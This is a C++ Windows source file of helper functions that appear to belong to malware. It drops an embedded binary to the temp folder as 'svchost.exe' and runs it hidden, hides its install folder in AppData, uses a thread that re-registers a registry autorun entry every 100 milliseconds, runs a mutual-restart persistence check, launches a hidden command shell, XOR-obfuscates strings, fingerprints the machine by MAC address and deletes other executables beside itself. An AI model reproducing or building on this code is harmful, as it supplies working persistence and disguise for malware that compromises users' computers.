#include "stdafx.h"
#include "util.h"
#include "resource.h"
#include "reg.h"
#include "constants.h"

ScanType ScanOnly = ScanType::Both;
std::wstring StringToWString( const std::string &s)
{
	std::wstring ws;
	std::wstring wsTmp(s.begin(), s.end());
	ws = wsTmp;
	return ws;
}


std::vector<Process> GetProcessList()
{
	HANDLE hProcessSnap;
	HANDLE hProcess;
	PROCESSENTRY32 pe32;
	DWORD dwPriorityClass;
	std::vector<Process> processes;
	// Take a snapshot of all processes in the system.
	hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
	if( hProcessSnap == INVALID_HANDLE_VALUE )
	{
		return processes;
	}

	// Set the size of the structure before using it.
	pe32.dwSize = sizeof( PROCESSENTRY32 );

	// Retrieve information about the first process,
	// and exit if unsuccessful
	if( !Process32FirstW( hProcessSnap, &pe32 ) )
	{
		CloseHandle( hProcessSnap );          // clean the snapshot object
		return processes;
	}

	// Now walk the snapshot of processes, and
	// display information about each process in turn
	do
	{
		Process process;
		// Retrieve the priority class.
		dwPriorityClass = 0;
		hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
		if(Is64BitWindows())
		{
			BOOL bIsWow64 = FALSE;
			IsWow64Process(hProcess,&bIsWow64);
			if(!bIsWow64)
				continue;
		}
		if( hProcess != NULL )
		{
			dwPriorityClass = GetPriorityClass( hProcess );
			if( !dwPriorityClass )
				CloseHandle( hProcess );
		}
		process.pid = pe32.th32ProcessID;
		std::wstring proc_name_wstring(pe32.szExeFile);
		std::string proc_name_str(proc_name_wstring.begin(), proc_name_wstring.end());

		process.name = proc_name_str;
		if(std::find(clear_processes.begin(), clear_processes.end(), proc_name_str)==clear_processes.end())
		{
			processes.push_back(process);
		}
	} while( Process32NextW( hProcessSnap, &pe32 ) );

	CloseHandle( hProcessSnap );
	return processes;
}
BOOL Is64BitWindows()
{
#if defined(_WIN64)
	return TRUE;  // 64-bit programs run only on Win64
#elif defined(_WIN32)
	// 32-bit programs run on both 32-bit and 64-bit Windows
	// so must sniff
	BOOL f64 = FALSE;
	return IsWow64Process(GetCurrentProcess(), &f64) && f64;
#else
	return FALSE; // Win64 does not support Win16
#endif
}
bool Fx (const std::wstring& name) {
	std::ifstream f(name.c_str());
	if (f.good()) {
		f.close();
		return true;
	} else {
		f.close();
		return false;
	}   
}


std::wstring get_free_exe_path()
{		
	wchar_t app_data_wch[MAX_PATH];
	SHGetSpecialFolderPath( NULL
		, app_data_wch
		, CSIDL_APPDATA
		, false );
	std::wstring app_data_wstring = app_data_wch;
	app_data_wstring.append(L"\\"+app_data_folder_name+L"\\");
	CreateDirectory(app_data_wstring.c_str(), NULL);
	SetFileAttributes(app_data_wstring.c_str(), FILE_ATTRIBUTE_HIDDEN);
	for(int i=0; i<possible_exe_names.size(); i++)
	{
		std::wstring name = StringToWString(possible_exe_names[i]);
		std::wstring fname = app_data_wstring+name;
		if(!Fx(fname.c_str()))
		{
			return fname;
		}
	}
	return L"";
}

std::wstring GetTempDir()
{
	wchar_t temp_dir[MAX_PATH];
	GetTempPathW(MAX_PATH, temp_dir);
	return temp_dir;
}

std::wstring get_curr_exe_path()
{
	HMODULE hModule = GetModuleHandleW(NULL);
	WCHAR path[MAX_PATH];
	GetModuleFileNameW(hModule, path, MAX_PATH);
	return path;
}

std::vector<std::string> Combine(std::vector<std::string> vec1, std::vector<std::string> vec2)
{
	std::vector<std::string> result;
	for(int i=0; i<vec1.size(); i++)
	{
		if(std::find(result.begin(), result.end(), vec1[i])==result.end())
		{
			result.push_back(vec1[i]);
		}
	}	
	for(int i=0; i<vec2.size(); i++)
	{
		if(std::find(result.begin(), result.end(), vec2[i])==result.end())
		{
			result.push_back(vec2[i]);
		}
	}
	return result;
}

std::string JoinVector(std::vector<std::string> vec, std::string delimiter)
{
	std::string result;
	std::stringstream  result_stream;
	std::copy(vec.begin(),vec.end(), std::ostream_iterator<std::string>(result_stream,delimiter.c_str()));
	result = result_stream.str();
	return result;
}
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
	std::stringstream ss(s);
	std::string item;
	while (std::getline(ss, item, delim)) {
		elems.push_back(item);
	}
	return elems;
}
std::vector<std::string> Split(const std::string &s, char delim) {
	std::vector<std::string> elems;
	split(s, delim, elems);
	return elems;
}

void ExecuteFile(std::wstring path, std::wstring params)
{
	ShellExecute( NULL, L"open", 
		path.c_str(),        // Program to launch
		params.c_str(), // parms
		NULL,                // default dir (don't care)
		SW_HIDE 
		);
}

std::wstring GetLibraryToInject()
{
	HRSRC myResource = FindResourceW(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
	unsigned int myResourceSize = ::SizeofResource(NULL, myResource);
	HGLOBAL myResourceData = ::LoadResource(NULL, myResource);
	void* pMyBinaryData = ::LockResource(myResourceData);
	std::wstring temp_dir  = GetTempDir()+L"svchost.exe";
	std::ofstream f(temp_dir, std::ios::out | std::ios::binary);
	f.write((char*)pMyBinaryData, myResourceSize);
	f.close();
	return temp_dir;
}

std::vector<std::wstring> listFilesInDirectory(std::wstring directoryName)
{
	std::vector<std::wstring> files;
	WIN32_FIND_DATA search_data;

	memset(&search_data, 0, sizeof(WIN32_FIND_DATA));

	HANDLE handle = FindFirstFile((directoryName+L"\\*.exe").c_str(), &search_data);

	while(handle != INVALID_HANDLE_VALUE)
	{
		files.push_back(search_data.cFileName);

		if(FindNextFile(handle, &search_data) == FALSE)
			break;
	}

	//Close the handle after use or memory/resource leak
	FindClose(handle);
	return files;

}
template<typename T>
std::vector<T> 
	split(const T & str, const T & delimiters) {
		std::vector<T> v;
		T::size_type start = 0;
		auto pos = str.find_first_of(delimiters, start);
		while(pos != T::npos) {
			if(pos != start) // ignore empty tokens
				v.emplace_back(str, start, pos - start);
			start = pos + 1;
			pos = str.find_first_of(delimiters, start);
		}
		if(start < str.length()) // ignore trailing delimiter
			v.emplace_back(str, start, str.length() - start); // add what's left of the string
		return v;
}

std::wstring GetCurrentDirectory()
{
	std::wstring curr_exe = get_curr_exe_path();
	std::vector<std::wstring> v = split<std::wstring>(curr_exe, L"\\");
	std::wstring curr_dir;
	for(int i=0;i<v.size()-1;i++)
	{
		if(i!=0)
			curr_dir = curr_dir+L"\\"+v[i];
	}
	return curr_dir;
}
void RemovePreviousVersions()
{
	try
	{
		char curr_exe[MAX_PATH];
		GetModuleFileNameA(NULL, curr_exe, MAX_PATH);
		std::string scurrent_exe = std::string(curr_exe);
		std::vector<std::string> dirs = Split(curr_exe, '\\');
		std::wstring w_curr_exe_name = StringToWString(dirs[dirs.size()-1]);
		std::wstring curr_dir = GetCurrentDirectory();
		std::vector<std::wstring> files = listFilesInDirectory(curr_dir);
		for(int i=0; i<files.size(); i++)
		{
			if(files[i]!=w_curr_exe_name)
			{
				try
				{
					DeleteFileW((GetCurrentDirectory()+L"\\"+files[i]).c_str());
				}catch(...)
				{
				}
			}
		}
	}catch(...)
	{
	}
}
std::wstring IntToWstring(int num)
{
	std::wostringstream ws;
	ws << num;
	std::wstring s(ws.str());
	return s;
}

std::string Encrypt(std::string str, char key)
{
	for (int temp = 0; temp < str.size(); temp++)
		str[temp] ^= key;
	return str;
}

bool CreaPr(int & proc_id)
{
	STARTUPINFO si = {sizeof(STARTUPINFO)};
	PROCESS_INFORMATION pi;
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	int res;

	si.cb=sizeof(STARTUPINFO);

	STARTUPINFO* ptr=&si;
	if(!CreateProcess(cmd_path.c_str(), NULL, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &si, &pi))
	{
		return false;
	}
	else
		proc_id = pi.dwProcessId;

	CloseHandle( pi.hProcess );
	CloseHandle( pi.hThread );
	return true;
}
BOOL IsProcessRunning(DWORD pid)
{
	HANDLE process = OpenProcess(SYNCHRONIZE, FALSE, pid);
	DWORD ret = WaitForSingleObject(process, 0);
	CloseHandle(process);
	return ret == WAIT_TIMEOUT;
}

void Secure()
{
	WriteToRegistry(persistence_reg_key.c_str(), L"Pid", IntToWstring(GetCurrentProcessId()).c_str(), L"");
	std::wstring w_persistence_pid;
	GetStringRegKey(persistence_reg_key.c_str(), L"Pid1", w_persistence_pid, L"bad");

	if(w_persistence_pid!=L"bad")
	{
		std::string s_persistence_pid( w_persistence_pid.begin(), w_persistence_pid.end() );
		if(IsProcessRunning(atoi(s_persistence_pid.c_str())))
		{
			return;
		}
	}
	std::wstring lib = GetLibraryToInject();
	try
	{
		ExecuteFile(lib, L"");
	}catch(...)
	{
	}
}
DWORD WINAPI RegKeyPersistenceTh( LPVOID lpParam )
{
	std::wstring exe_key_path;
	GetStringRegKey(autorun_reg_key_name, autorun_reg_value_name, exe_key_path,L"bad");
	if(exe_key_path!=L"bad")
	{
		while(true)
		{
			if(stop_persistence)
				return 0;
			try{
				std::wstring curr_key_value;
				GetStringRegKey(autorun_reg_key_name,autorun_reg_value_name, curr_key_value,L"bad");
				if(curr_key_value!=exe_key_path)
				{
					RegisterToStartup(exe_key_path);
				}
			}catch(...)
			{
			}
			Sleep(100);
		}
	}
	return 0;
}
void MonitorStartKey()
{
	DWORD ThreadID;
	CreateThread( 
		NULL,                   // default security attributes
		0,                      // use default stack size  
		RegKeyPersistenceTh,       // thread function name
		NULL,          // argument to thread function 
		0,                      // use default creation flags 
		&ThreadID);   // returns the thread identifier 

}
std::string GetMacFromBytes(unsigned char MACData[])
{
	char buff[17];
	sprintf(buff, "%02X-%02X-%02X-%02X-%02X-%02X", 
		MACData[0], MACData[1], MACData[2], MACData[3], MACData[4], MACData[5]);
	return buff;
}
std::string GetMacAddress()
{
	IP_ADAPTER_INFO AdapterInfo[16];       // Allocate information 
	// for up to 16 NICs
	DWORD dwBufLen = sizeof(AdapterInfo);  // Save memory size of buffer

	DWORD dwStatus = GetAdaptersInfo(      // Call GetAdapterInfo
		AdapterInfo,                 // [out] buffer to receive data
		&dwBufLen);                  // [in] size of receive data buffer
	assert(dwStatus == ERROR_SUCCESS);  // Verify return value is 
	PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo;// Contains pointer to current adapter info
	do {
		std::string mac = GetMacFromBytes(pAdapterInfo->Address);	// Print MAC address
		if(mac != "00-00-00-00-00-00")
			return mac;
		pAdapterInfo = pAdapterInfo->Next;		// Progress through linked list
	}
	while(pAdapterInfo);		
	return "";
}
BOOL TerminateProcess(DWORD dwProcessId, UINT uExitCode)
{
	try
	{
		DWORD dwDesiredAccess = PROCESS_TERMINATE;
		BOOL  bInheritHandle  = FALSE;
		HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
		if (hProcess == NULL)
			return FALSE;

		BOOL result = TerminateProcess(hProcess, uExitCode);

		CloseHandle(hProcess);

		return result;
	}catch(...)
	{
	}
	return false;
}